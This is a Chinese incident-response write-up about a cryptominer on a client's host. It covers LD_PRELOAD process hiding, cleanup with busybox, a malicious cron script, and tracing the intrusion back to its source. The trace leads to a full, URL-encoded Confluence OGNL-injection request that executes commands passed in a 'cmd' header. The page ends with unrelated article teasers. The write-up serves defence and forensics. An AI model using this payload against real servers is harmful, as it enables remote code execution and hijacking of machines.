警告,恶意域名疯狂外联,原因竟然是……

afdf7e15d719d7da4e5991ce69f87fee.jpeg


前言

  

在某个风和日丽的下午,突然收到客户那边运维发过来的消息说我司的DTA设备在疯狂告警,说存在恶意域名外联,我急忙背上小背包前往客户现场,经过与客户协同排查,最终确定该事件为一起挖矿病毒引起的恶意域名外联事件。(因客户信息保密且为了保证文章逻辑完整性,部分截图为后期追加图)

104008f14a7387f6ad5e9eb83a0e8e7f.jpeg

事件分析


1e5d9a48b2155be5e2f48e884ae7d903.jpeg
一看域名地址donate.v2.xmrig.com,xmrig这不门罗币的矿池地址吗,看来是个挖矿事件,从DTA上的告警时间和告警事件来看,确实是个挖矿事件。 经过在DTA产品上分析发现该IP的流量信息,发现该IP主机一直在对该恶意域名进行外联请求,经过和客户沟通之后,对被害主机进行上机排查。执行top命令并未发现存在CPU异常,执行ps命令也未发现恶意进程,netstat命令也未发现恶意ip连接等行为。    d4485ab7b36028bb3301bf388c6dc04b.jpeg 但是在DTA上,该台主机确实一直在请求恶意域名,应该是做了一些隐藏进程的手段,现在类似这种挖矿病毒存在一种主流的隐藏方法,那就是通过LD_PRELOAD来修改运行链接库,修改LD_PRELOAD之后允许在你的程序运行前加载所修改的动态链接库。 那去/etc目录下看看是否存在ld.so.preload这个文件 a904ae5b80d1dbcba8749522d3c99aa0.jpeg 用系统的自带的ls命令并未发现ld.so.preload文件,这里怀疑是一些系统自带的ls等命令已经被动态链接库所hook劫持了,导致查看不到文件,所以上传了一个busybox,不用系统自带的命令来进行查看。 6daf66cad690751b41d483bce0cb321f.jpeg ld.so.preload这个文件,在系统中默认不存在这个文件或者该文件为空 这里直接通过busybox把这个文件给进行删除 fa98d793e2da3ab68eeba31d9ab036b7.jpeg 然后再次使用top命令进行查看 592eb340ecb37ed1c09d1a1af24e5eaf.jpeg 执行lsof -p [pid]命令来定位挖矿木马进程文件 6286434affe30cb29512d0e0f83c50c3.jpeg     来到该目录下发现如下 33c242831f7754ce9cfad64f4343ca7e.jpeg kill -9 3582558去kill掉挖矿木马进程,然后再把挖矿木马一并删除,但是一段时间后,DTA设备上又传来了失陷告警,且该目录下又重新生成了挖矿程序。 使用crontab -l 检查定时任务,发现一个可疑定时程序,该定时执行一个a.sh文件 427d98873cb5da2fb0b5c102f9c4566a.jpeg 该脚本主要内容如下     3794ff0716474949cf1845b61c46c705.jpeg 定义环境变量用来存取配置文件,然后检查ddns.log文件是否存在,这里的逻辑是检查当前时间与文件最后修改时间的差值。如果这个差值大于 6 秒,脚本输出 "process is not running",表示进程可能已经停止运行。如果差值不超过 6 秒,脚本认为进程可能仍在运行。最后根据不同用户来curl不用的sh文件,ai.sh一些关键代码如下 db7f0c4ec2c693ef663d0e2f4c080442.jpeg 杀死大于CPU使用率超过65%的所有进程,防止一些其他挖矿程序或者其他干扰CPU进程的运行 56b97acea1f0b1152de52ef5bde64d61.jpeg 下载的文件名和受害机上文件一致,且确定为挖矿程序。    ca5afd243b6a6561cedde9aef8b7505b.jpeg 对此删除掉恶意定时任务、挖矿病毒,重新kill进程,DTA恢复正常,无失陷流量告警。 挖矿病毒应急算是解决完了,要继续还原攻击者的攻击链路,根据挖矿木马可以分析出攻击者最先落地的是一个a.sh文件,根据a.sh文件名和落地时间和/var/log/messages里面所显示的脚本首次启动时间去查找日志,通过在态感、WAF、日志审计系统等设备再结合开放的端口服务结合查找,终于定位到一条如下攻击日志。

POST /pages/doenterpagevariables.action HTTP/1.1 Host: xxxxx:8090 Connection: keep-alive Content-Length: 599 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: xxxxxx Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: xxxxx cmd: 恶意命令 queryString=%5Cu0027%2B%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName%28%5Cu0022javax.script.ScriptEngineManager%5Cu0022%29.newInstance%28%29.getEngineByName%28%5Cu0022js%5Cu0022%29.eval%28%5Cu0022var+c%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getRequest%28%29.getHeader%28%5Cu0027cmd%5Cu0027%29%3Bvar+x%3Djava.lang.Runtime.getRuntime%28%29.exec%28c%29%3Bvar+out%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getResponse%28%29.getOutputStream%28%29%3Borg.apache.commons.io.IOUtils.copy%28x.getInputStream%28%29%2Cout%29%3Bout.flush%28%29%3B%5Cu0022%29%7D%2B%5Cu0027     通过再次复现验证 01ec47e4983090b6b087f1c0ce6494e5.jpeg 可以确认攻击者通过8090端口开放的Confluence应用(该版本的Confluence应用存在RCE漏洞)进行getshell,然后上传a.sh文件,最后上传挖矿木马进行挖矿操作。 至此整个攻击链路和应急流程已全部梳理完毕。



https://mp.weixin.qq.com/s/Bmh7RGYVGSGpbTNnLXdbvQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/740648.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙开发系统基础能力:【@ohos.hiTraceChain (分布式跟踪)】

分布式跟踪 本模块提供了端侧业务流程调用链跟踪的打点能力,包括业务流程跟踪的启动、结束、信息埋点等能力。 说明: 本模块首批接口从API version 8开始支持。后续版本的新增接口,采用上角标单独标记接口的起始版本。 导入模块 import hi…

xss初识(xss-lab)

XSS跨站脚本 XSS漏洞概述 XSS被称为跨站脚本攻击(Cross-site scripting),由于和CSS(Cascading Style Sheets) 重名,所以改为XSS。 XSS主要基于javascript语言完成恶意的攻击行为,因为javascri…

C++多线程异步日志实现

使用C11标准&#xff0c;构建了一个方便使用的、轻量化的日志系统。封装线程安全的lockQueue&#xff0c;实现对每条日志添加信息、push到lockQueue中的LogTmp类&#xff0c;实现一个多线程异步的日志系统Logger。 lockqueue.h #pragma once #include <queue> #include…

学期结束如何发布期末成绩?

当期末的试卷最后一张被收起&#xff0c;当教室里的喧嚣逐渐沉寂&#xff0c;学生们的心中充满了对成绩的期待与忐忑。期末成绩&#xff0c;关乎着学生的心情&#xff0c;更关系到他们的未来学习动力。那么&#xff0c;如何在保护学生隐私的同时&#xff0c;高效地公布成绩呢&a…

分享:Khoj:你的全能AI助手

在数字化时代&#xff0c;我们每天都会面对海量的信息&#xff0c;如何高效地管理和检索这些信息&#xff0c;同时提升工作效率&#xff0c;成为了许多人关注的焦点。为此&#xff0c;Khoj应运而生——一个功能强大、灵活多变的个人化AI助手&#xff0c;旨在助力用户轻松驾驭信…

双jdk切换

现在因为业务需求单一jdk8已经不满足日常需求了,以我为例之前用的jdk8,但是最新的一个项目用的是17版本的,没招了就下载配置的一套,需要手动切换用哪个版本的步骤如下 jdk8就自己安装配置吧,这只说在有8的版本上在配置17 1.下载一个17win的包(不下载exe) Java Downloads | O…

使用深度相机D435i+YOLOv8实现物体三维坐标实时显示

一、获取相机内参 下列指令为获取相机内参指令&#xff0c;输入此指令前需要获得相机的深度帧和彩色帧数据。 如何使用vsCode打开intel D435i深度相机 # 获取相机内参 depth_intrinsics depth_frame.profile.as_video_stream_profile().intrinsics color_intrinsics color…

Bootstrap和Bagging算法以及衍生算法

1. Bootstrap算法 实际上就是一种针对小样本的无放回式的抽样方法&#xff0c;通过方差的估计可以构造置信区间。 其核心思想和基本步骤如下&#xff1a;   &#xff08;1&#xff09; 采用重抽样技术从原始样本中抽取一定数量&#xff08;自己给定&#xff09;的样本&#…

Python高压电容导电体和水文椭圆微分

&#x1f3af;要点 &#x1f3af;二维热传导二阶偏微分方程 | &#x1f3af;调和函数和几何图曲率 | &#x1f3af;解潮汐波动方程 | &#x1f3af;解静止基态旋转球体流体运动函数 | &#x1f3af;水文空间插值 | &#x1f3af;流体流动模拟求解器 | &#x1f3af;随机算法解…

网络构建关键技术_1.网络高可用设计

1.网络高可用性概述 随着网络快速发展及应用日益深入&#xff0c;各种核心和增值业务在网络上广泛部署&#xff0c;网络的作用愈来愈凸显出来。即使网络出现短时间中断&#xff0c;都可能对业务带来比较大的影响&#xff0c;甚至给企业造成一定程度的经济损失。因此&#xff0c…

【CT】LeetCode手撕—23. 合并 K 个升序链表

目录 题目1- 思路2- 实现⭐23. 合并 K 个升序链表——题解思路 3- ACM 实现 题目 原题连接&#xff1a;23. 合并 K 个升序链表 1- 思路 模式识别&#xff1a;合并 K 个链表 ——> 优先队列 思路 借助优先队列&#xff0c;每次从 k 个链表中&#xff0c;各取一个元素&…

全球开店7万家,711如何策划极致产品力?

引言&#xff1a;越来越多的中国企业家认识到“极致产品力正成为最重要、最核心的品牌战略&#xff0c;是 21 世纪全球商业的主战场”。 《极致产品力》日本策划方案落地班是一个产品策划实操课程&#xff0c;可以帮助企业找到增长路径、拿到产品方案。 现今&#xff0c;许多中…

分布式数据库垂直分片如何计算?

在复习分布式数据库这一部分时&#xff0c;发现垂直分片较难理解&#xff0c;上网上查找资料&#xff0c;也发现找不到&#xff0c;固在考试结束后将自己的理解记录下来。 垂直分片的计算总体上分为三个步骤;1、属性亲和度矩阵AA的计算&#xff1b;2、聚类亲和度CA矩阵的计算&a…

基于VTK9.3.0+Visual Studio2017 c++实现DICOM影像MPR多平面重建

开源库&#xff1a;VTK9.3.0 开发工具&#xff1a;Visual Studio2017 开发语言&#xff1a;C 实现过程&#xff1a; void initImageActor(double* Matrix, double* center, vtkSmartPointer<vtkImageCast> pImageCast,vtkSmartPointer<vtkImageReslice> imageRe…

6.折半查找

折半查找 基本思路在有序表中,取中间元素作为比较对象,若给定值与中间元素的要查找的数相等,则查找成功;若给定值小于中间元素的要查找的数,则在中间元素的左半区继续查找;若给定值大于中间元素的要查找的数,则在中间元素的右半区继续查找。不断重复上述查找过 程,直到查找成功…

数据结构——二分算法

二分查找 1. 在排序数组中查找元素的第一个和最后一个位置 代码实现&#xff1a; /*** Note: The returned array must be malloced, assume caller calls free().*/int binarySearch(int *nums, int numsSize, int target) {int l 0, r numsSize - 1; while (l <…

Kubernetes 中 ElasticSearch 中的 MinIO 审核日志

无论您是在本地还是在云中&#xff0c;您都希望确保以同构的方式设置工具和流程。无论在何处访问基础结构&#xff0c;您都希望确保用于与各种基础结构进行交互的工具与其他区域相似。 考虑到这一点&#xff0c;在部署您自己的 MinIO 对象存储基础架构时&#xff0c;深入了解您…

缓存雪崩、穿透、击穿的概念和如何避免

雪崩 概念 高并发请求多个key&#xff0c;此时多个key同时失效、不在缓存中&#xff0c;请求全部打到数据库&#xff0c;使数据库无法处理这么多的连接&#xff0c;导致数据库死机 如何避免 防止多个key同时过期&#xff0c;设置随机的过期时间不设置过期时间&#xff0c;有…

汽车抬头显示器HUD阳光倒灌实验太阳光模拟器

简述 HUD阳光倒灌实验是评估汽车抬头显示器&#xff08;HUD&#xff09;在强烈日照条件下的性能表现的一种测试方法。该实验通过模拟太阳光照射&#xff0c;检测HUD在阳光直射下的显示效果&#xff0c;以确保驾驶者在强烈日照下仍能清晰地看到HUD显示的信息&#xff0c;从而提…

【计算机视觉】人脸算法之图像处理基础知识(六)

图像直方图 图像直方图是描述图像中像素强度分布的一种统计图表&#xff0c;它是图像处理和计算机视觉领域中一个非常基础且重要的概念。图像直方图通常用于分析图像的亮度、对比度特性&#xff0c;以及在图像增强、阈值分割、特征提取等多种图像处理任务。 import cv2 impor…